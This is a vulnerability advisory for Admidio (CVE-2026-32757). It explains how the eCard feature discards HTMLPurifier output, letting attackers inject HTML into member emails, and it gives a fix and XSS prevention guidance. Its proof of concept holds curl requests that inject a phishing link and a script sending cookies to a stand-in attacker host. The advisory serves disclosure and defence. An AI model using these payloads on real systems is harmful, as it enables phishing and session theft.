GHSA-4wr4-f2qf-x5wj CVE-2026-32757
Admidio has an HTMLPurifier Bypass in eCard Message Allows HTML Email Injection
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.23%
- Chance of exploitation in the next 30 days. Higher than 14.05% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- Fix
5.0.7- Upgrade admidio/admidio to this version or later
Description
Summary
The eCard send handler in Admidio uses the raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation.
Details
Root Cause
File: D:\bugcrowd\admidio\repo\modules\photos\ecard_send.php
At line 38, the raw POST value is captured BEFORE form validation runs:
$postMessage = $_POST['ecard_message']; // Line 38: RAW value
At line 61, the form validation runs and properly sanitizes the message through HTMLPurifier (since ecard_message is registered as an editor field):
$formValues = $photosEcardSendForm->validate($_POST); // Line 61: sanitized
The sanitized value is stored in $formValues['ecard_message'], but this value is never used. Instead, the raw $postMessage is passed to parseEcardTemplate() at lines 159 and 201:
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 159
$ecardHtmlData = $funcClass->parseEcardTemplate($imageUrl, $postMessage, ...); // Line 201
Template Injection
File: D:\bugcrowd\admidio\repo\src\Photos\ValueObject\ECard.php, line 144
The parseEcardTemplate() method places the message directly into the HTML template without any encoding:
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage; // Line 144: no encoding
Compare this to the recipient fields which ARE properly encoded:
$pregRepArray['/<%ecard_reciepient_email%>/'] = SecurityUtils::encodeHTML($recipientEmail); // Line 135
$pregRepArray['/<%ecard_reciepient_name%>/'] = SecurityUtils::encodeHTML($recipientName); // Line 136
Inconsistency with Preview
File: D:\bugcrowd\admidio\repo\modules\photos\ecard_preview.php, line 56
The preview correctly uses the sanitized value:
$smarty->assign('ecardContent', $funcClass->parseEcardTemplate($imageUrl, $formValues['ecard_message'], ...));
This means the preview shows the sanitized version, but the actual sent email contains the unsanitized content.
Delivery Mechanism
The unsanitized HTML is delivered via two channels:
-
HTML Email (primary vector): At line 218 of
ECard.php, the parsed template is set as the email body via$email->setText($ecardHtmlData)followed by$email->setHtmlMail(). The malicious HTML is rendered by the recipient's email client. -
Database Storage: At line 214 of
ecard_send.php,$message->addContent($ecardHtmlData)stores the raw HTML in the messages table. However,MessageContent::getValue()appliesSecurityUtils::encodeHTML()on output, mitigating the stored XSS in the web interface.
PoC
Prerequisites: Logged-in user with access to the photo module and eCard feature enabled.
Step 1: Send an eCard with injected HTML
curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<session>" \
-d "adm_csrf_token=<csrf_token>" \
-d "ecard_template=<valid_template.tpl>" \
-d "photo_uuid=<valid_photo_uuid>" \
-d "photo_nr=1" \
-d "ecard_message=<h1>Important Security Update</h1><p>Your account has been compromised. Please <a href='https://evil.example.com/phishing'>verify your identity here</a>.</p><img src='https://evil.example.com/tracking.gif'>" \
-d "ecard_recipients[]=<target_user_uuid>"
The HTMLPurifier validation runs but its result is discarded. The raw HTML including the phishing link and tracking pixel is sent in the greeting card email.
Step 2: Escalated payload with script injection
curl -X POST "https://TARGET/adm_program/modules/photos/ecard_send.php" \
-H "Cookie: ADMIDIO_SESSION_ID=<session>" \
-d "adm_csrf_token=<csrf_token>" \
-d "ecard_template=<valid_template.tpl>" \
-d "photo_uuid=<valid_photo_uuid>" \
-d "photo_nr=1" \
-d "ecard_message=<script>document.location='https://evil.example.com/steal?cookie='+document.cookie</script>" \
-d "ecard_recipients[]=<target_user_uuid>"
Most modern email clients block script execution, but older clients or webmail interfaces with relaxed CSP may execute it.
Impact
- Phishing via Trusted Sender: The attacker sends crafted greeting cards that appear to come from the organization's system. The email sender address is the attacker's real address from their Admidio profile, but the email template and branding make it appear legitimate.
- HTML Email Injection: Arbitrary HTML content including fake forms, misleading links, and tracking pixels can be injected into emails sent to any member or role.
- Scope Change: The vulnerability crosses a security boundary -- the attack originates from the Admidio web application but impacts email recipients who may view the content outside of Admidio.
- Bypasses Defense-in-Depth: The HTMLPurifier sanitization is applied but its result is discarded, defeating the intended security control.
Recommended Fix
In ecard_send.php, use the sanitized $formValues['ecard_message'] instead of the raw $_POST['ecard_message']:
// Line 38: Remove this line
// $postMessage = $_POST['ecard_message'];
// After line 61 (form validation), use the sanitized value:
$formValues = $photosEcardSendForm->validate($_POST);
$postMessage = $formValues['ecard_message'];
Additionally, in ECard::parseEcardTemplate(), apply encoding to the message placeholder as defense-in-depth, or at minimum document that the message is expected to contain trusted HTML:
// The message has already been sanitized by HTMLPurifier,
// so it can safely contain allowed HTML tags
$pregRepArray['/<%ecard_message%>/'] = $ecardMessage;
Affected versions
Packagist
| Package | Vulnerable | Fixed in |
|---|---|---|
| admidio/admidio | < 5.0.7 |
5.0.7 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
admidio/admidio Packagist → 5.0.7
- composer
composer require admidio/admidio:^5.0.7
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- Required
- Scope
- Changed
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
How to prevent it
- Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- Implementation, Architecture and Design: Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Cascading Style Sheets and style property etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed.
- Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
- Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
- Architecture and Design: If available, use structured mechanisms that automatically enforce the separation between data and code. These mechanisms may be able to provide the relevant quoting, encoding, and validation automatically, instead of relying on the developer to provide this capability at every point where output is generated.
- Implementation: Use and specify an output encoding that can be handled by the downstream component that is reading the output. Common encodings include ISO-8859-1, UTF-7, and UTF-8. When an encoding is not specified, a downstream component may choose a different encoding, either by assuming a default encoding or automatically inferring which encoding is being used, which can be erroneous. When the encodings are inconsistent, the downstream component might treat some character or byte sequences as special, even if they are not special in the original encoding. Attackers might then be able to exploit this discrepancy and conduct injection attacks; they even might be able to bypass protection mechanisms that assume the original encoding is also being used by the downstream component. The problem of inconsistent output encodings often arises in web pages. If an encoding is not specified in an HTTP header, web browsers often guess about which encoding is being used. This can open up the browser to subtle XSS attacks.
- Implementation: With Struts, write all data from form beans with the bean's filter attribute set to true.
- Implementation: To help mitigate XSS attacks against the user's session cookie, set the session cookie to be HttpOnly. In browsers that support the HttpOnly feature (such as more recent versions of Internet Explorer and Firefox), this attribute can prevent the user's session cookie from being accessible to malicious client-side scripts that use document.cookie. This is not a complete solution, since HttpOnly is not supported by all browsers. More importantly, XmlHttpRequest and other powerful browser technologies provide read access to HTTP headers, including the Set-Cookie header in which the HttpOnly flag is set.
- Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When dynamically constructing web pages, use stringent allowlists that limit the character set based on the expected value of the parameter in the request. All input should be validated and cleansed, not just parameters that the user is supposed to specify, but all data in the request, including hidden fields, cookies, headers, the URL itself, and so forth. A common mistake that leads to continuing XSS vulnerabilities is to validate only fields that are expected to be redisplayed by the site. It is common to see data from the request that is reflected by the application server or the application that the development team did not anticipate. Also, a field that is not currently reflected may be used by a future developer. Therefore, validating ALL parts of the HTTP request is recommended. Note that proper output encoding, escaping, and quoting is the most ef
- Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.
- Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
- Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
References
Advisories
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-hm42-q32m-vj4f Admidio: CSRF on Plugin Install, Uninstall, and Update via Unprotected GET Requests | Medium | Also affects admidio/admidio |
| GHSA-xw54-c3mx-9pm3 Admidio: Any logged-in user can delete inventory fields via `mode=field_delete` — incomplete fix of #2024 | Medium | Also affects admidio/admidio |
| GHSA-mch8-wf3h-6x88 Admidio writes session IDs and auto-login cookie values to application logs | Medium | Also affects admidio/admidio |
| GHSA-4rgq-38mh-9xqg Admidio PKCS#12 private key export action lacks CSRF protection | Medium | Also affects admidio/admidio |
| GHSA-x628-457g-2pw9 Admidio has IDOR in `documents-files.php` `mode=move_save` that lets any folder-uploader exfiltrate files from private folders | High | Also affects admidio/admidio |
| GHSA-q6w3-hpfv-rg36 Admidio: IDOR in documents-files.php allows cross-folder file rename and description changes by unauthorized uploaders | Medium | Also affects admidio/admidio |
| GHSA-xg76-5qj2-2hhv Admidio: CSRF in SSO client `enable` action toggles SAML/OIDC clients without token validation | Medium | Also affects admidio/admidio |
| GHSA-mx25-j3rc-6w2w Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords | Medium | Also affects admidio/admidio |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor